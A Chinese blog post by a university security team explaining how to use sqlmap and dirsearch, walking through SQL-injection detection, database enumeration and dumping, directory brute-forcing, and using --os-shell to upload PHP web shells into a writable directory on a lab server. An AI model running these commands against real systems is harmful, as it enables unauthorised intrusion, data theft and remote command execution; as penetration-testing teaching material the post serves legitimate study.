本文首发于FreeBuf→https://www.freebuf.com/sectool/256588.html
沙漏安全团队
欢迎真正热爱技术的你!
SQLMAP
sqlmap是一个开源渗透测试工具, 它可以自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
安装
windows
1、安装python(2.x或3.x版本)
https://www.python.org/downloads/
2、下载sq|map并解压
http://sqlmap.org/
3、在sqlmap路径下打开cmd, python sqlmap.py即可运行
linux
1、kali系统自带
2、git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap -dev
常用命令:
1、sqlmap.py -u "url"
检测目标url是否存在注入
2、sqlmap -u "url" --dbs
爆出所有数据库信息
3、sqlmap -u "url" --current-db
爆出当前数据库信息
4、sqlmap -u "url" -D Database_ name -tables
列出指定库名的所有表名
5、sq|map -u "url" -D Database_ name -T Table_ name --columns
列出指定库名指定表名的所有列名
6、sqlmap -u "url" -D Database_ name -T Table_ name -C columns1,colunms2, columns3 --dump
列出指定库名指定表名指定字段的数据
POST注入
1、sqlmap -r /root/aaa.txt --dbs --batch
2、sqlmap -r /root/aa.txt --current-db
3、sqImap -r /root/aaa.txt -D hetianlab --tables
4、sqlmap -r /root/aaa.txt -D hetianlab -T user_ pwd --dump
–os-shell
sqlmap -r /root/aaa.txt -p id –is-dba
sqlmap -r /rootaaa.txt -p id –os-shell
os-shell的执行条件有三个:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3) GPC为off, php主动转义的功能关闭
当着三个条件都满足的时候,–os-shell命令才执行。
which web application Language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default ) #默认
what do you want to use for writable directory?
[1] common Location(s) ( /var/ww/, /var/www/html, /var /www/htdocs, /usr/Local/ apache2/htdocs,/usr/local/www/data, /var/apache2/htdocs, /var/www/ nginx- default, /srv/www/htdocs’) (default)
[2] custom Location(s) #自定义
[3] custom directory list file
[4] brute force search
话说回来,我们如何知道这个网站是不是root权限呢?
我们可以执行以下两个命令来查看网站当前的用户sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --current -user
current –user查看当前的用户sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --is -dba
指定去查找这个文件是否为dba,dba是databaseadmin,是数据库管理员用户的意思,如果返回值为true,则是root用户
这两个命令都可以🙆
查查目录[dirsearch.py]
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
dirsearch拥有以下特点:
多线程
可保持连接
支持多种后缀(-e|–extensions asp,php)
生成报告(纯文本,JSON)
启发式检测无效的网页
递归的暴力扫描
支持HTTP代理
用户代理随机化
批量处理
请求延迟
扫描器与字典
字典必须是文本文件,除了使用特殊的%EXT%之外,其余每行都会被处理。
例:
example/
example.%EXT%
使用扩展名“asp”和“aspx”会生成下面的字典:
example/
example.asp
example.aspx
Linux下的使用示例:
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch/
./dirsearch.py -u 目标网址 -e *
https://github.com/maurosoria/dirsearch/archive/master.zip
下载dirsearch-master并解压,将shell位置处于该脚本根目录,由于dirsearch需要python3.x,所以在使用前需要访问python.org下载相应版本的python,最后执行python3 dirsearch.py -u xxxxxx
来使用。
-u
意为url,添加URL时可以添加他的协议头,但不要添加他的访问目录。-e
指定查找的类型,如 -e dir意为指定查找目录信息,可帮助我们知道哪里可能存在上传的权限。-e php指定PHP语言类型,可以帮助我们查找是否有PHP语言的关键信息泄露。
常见的脚本语言类型有:
ASP
ASPX(ASP.NET)
JSP
PHP
它是利用爬虫和自带的字典爆破脚本进行的扫描。
如上图的返回值信息,如果是200、403、301这些数值的话,证明它是存在该目录/文件的。
再来观察上图的扫描过程中的结果,出现了一个upload,upload也就是上传,所谓上传,一般情况下我们是对此目录有可写权限的。
那么他的完整路径是什么呢?
根据在学校上学习的Apache服务建站,可以知道该网站如果是部署在Linux系统上,网站的默认根目录是/var/www/html
或者是/var/www/
。小型网站一般都不会改这个目录,那么upload的完整目录很有可能是/var/www/html/upload
或/var/www/upload
,两个都可以试一下
回到-os shell上
①选择脚本语言选择4-PHP
②我们已经知道路径了,选择2-custom directory list file(自定义路径)
③输入我们知道的路径/var/www/html/upload
当我们看到shell为os-shell>
的时候就代表成功了🎉
我们看到sqlmap给/var/www/html/upload目录里上传了两个PHP文件,tmpuknio.php、tmpbepcb.php由于他们两个的存在才拿到了这个权限,那么这两个PHP文件是属于web木马,这些文件的权限也就是php运行的权限,PHP是在Apache服务商运行的,我们可以通过whoami
来验证是否正确
平顶山学院· 沙漏安全团队
微信号|SLteam666
奋发努力|拼搏向上
本期编辑|bosounho
本文始发于微信公众号(网络安全攻防训练营):sqlmap如何用dirsearch.py协助--os-shell拿到目标网站shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论